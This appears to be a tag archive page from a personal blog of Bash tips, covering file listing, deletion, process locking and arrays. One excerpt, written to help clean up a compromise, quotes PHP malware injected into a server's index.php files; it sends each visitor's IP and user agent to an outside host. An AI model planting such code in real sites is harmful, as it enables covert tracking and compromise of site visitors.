Tag: Bash

Get a filename only list of files in a folder

SheldonNo Comments

To get a list of all files in a folder without path, you can use the following snippet: $> find ../PATH/TO/FOLDER/TO/LIST/FILES/FROM -type f -printf “%f\n” Example result: 5ed8d879-9203-4c26-afe4-4eee702ffcc7.ttf 25h-icons.woff 6ab1eb08-75f2-4c1a-9911-2752e3fd6ec9.woff ada6576a-cbce-4da0-994b-b4719f95ac06.eot dc80306d-6b3e-422b-85c3-bad65f5446d4.woff 1791f364-9061-4459-a14d-0b188cfd7193.woff2 fb754dec-aa8f-444c-be48-868464c47ab0.woff 20988062-bfc8-4c30-9306-8053b179b381.eot 79de9df8-0826-46b9-beea-eb39122d4762.woff2 087e5c21-3358-4cf3-9d2c-289a03a48292.eot 7869ff0a-c18f-4ce1-bf07-fbf5b7172b66.ttf c932b9cc-bd91-4ee0-889b-302d53093448.woff2 c9fa0fce-5615-4509-af40-370a4032df9a.woff2 08bae5d9-f7bd-4e7f-8446-be05a16cc9e6.ttf 56ce7ab2-c49f-4aa1-85ce-f1823fc02355.woff bedf9150-5659-4119-9640-0f16e67d82b9.woff2 9131f395-46ef-4940-8480-8ff008c42e59.woff 77fac51a-d062-438a-a493-6b67508aa97f.woff bb8422a9-7303-4111-8be4-7de2f583aaf3.woff2 746ffa4d-bd68-4487-bb7a-0c90d07c6533.woff2 5fdc935e-9e30-442a-bbe9-8d887b858471.woff 616c4c87-a077-43f4-a9f4-f01267c13818.ttf 084ad33e-9248-40f7-b5ce-1d9dee2809c4.eot d399cbfa-b9be-47ac-983c-3600c2684bb2.ttf 295ff20c-2b48-4fa6-be92-a53bbf9bbbb4.ttf 25h-icons.ttf 2f8b7d6e-428d-4cc1-a456-712fc6aa2123.woff2 9322b01d-540d-464b-8990-dcbfa6a03ce8.eot […]

Remove all files and folders including hidden files on bash

SheldonNo Comments

To remove all files and folders including hidden files such .gitignore, .htaccess, .git etc. on bash you can use the following command: $> rm -rf /PATH/TO/FOLDER/{*,.*} Is the same as: $> rm -rf ${DOCROOT}/* $> rm -rf ${DOCROOT}/.* But ever shorter. 😉

Bash text formatting

SheldonNo Comments

Just found this interesting overview about bash text formatting and colorization possibilities on Linux bash shells and want to share it with me and my beloved audience ;-): Link: https://misc.flogisoft.com/bash/tip_colors_and_formatting As PDF:  

Delete x files from folder in a for i loop

SheldonNo Comments

Recently I tried to remove a big bunch of files from one of my raspberry pies where ffmpeg had swamped my SD-card with too many capture images. So I had to delete x files from folder. I just tried: rm -rf *.jpg But that gave me an “unable to execute /bin/rm: Argument list too long” […]

Lock shellscript process under Unix based systems

SheldonNo Comments

Today I ran again into a common problem when dealing with cron based scipts that run concurrently. That’s why I had to lock shellscript process until it is finished before starting the next executing round. On Unix based systems like Linux you can achieve that with flock. flock binds a file descriptor to a certain lock […]

Rename files to upper or lower case

SheldonNo Comments

To Rename file to upper case or lower case (* == file selector): Convert to lower case file names Convert to upper case

Execute php on commandline with the interactive mode

SheldonNo Comments

This article show to use PHP’s interactive mode to execute PHP code directly on the commandline shell without the need of a script file. This can be useful to test PHP snippets, run short commands or even test a certain PHP configuration.

Find and replace malware code blocks in php files via shell

SheldonNo Comments

Today I was attacked by an unknown bot or something like that. It placed the following code in many hundred index.php files on one of my servers, because the FTP-Password was cracked. <?php #19f955# error_reporting(0); ini_set(‘display_errors’,0); $wp_sjqe08340 = @$_SERVER[‘HTTP_USER_AGENT’]; if (( preg_match (‘/Gecko|MSIE/i’, $wp_sjqe08340) && !preg_match (‘/bot/i’, $wp_sjqe08340))){ $wp_sjqe0908340=”http://”.”http”.”href”.”.com/href”.”/?ip=”.$_SERVER[‘REMOTE_ADDR’].”&referer=”.urlencode($_SERVER[‘HTTP_HOST’]).”&ua=”.urlencode($wp_sjqe08340); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_sjqe0908340); […]

Associative arrays (hash, dictionary) on bash

SheldonNo Comments

This is how to create associative arrays (hash, dictionary) on bash: #!/bin/bash if [ “$1” == “help” ] then echo “Help”; echo “USAGE:”; echo “========”; echo “purge_landingpage_varnish.sh LIVE|STAGE”; exit 0; elif [ $1 ] then DOMAINS[‘LIVE’]=”www.ask-sheldon.com”; DOMAINS[‘STAGE’]=”stage.ask-sheldon.com; REQUEST_DOMAIN=””; if [ “$1” == “LIVE” -o “$1” == “STAGE” ] then REQUEST_DOMAIN=${DOMAINS[“$1”]}; else echo “You have to give […]

Linux – Replace text in file

SheldonNo Comments

$> sed -i ‘s/old-word/new-word/g’ file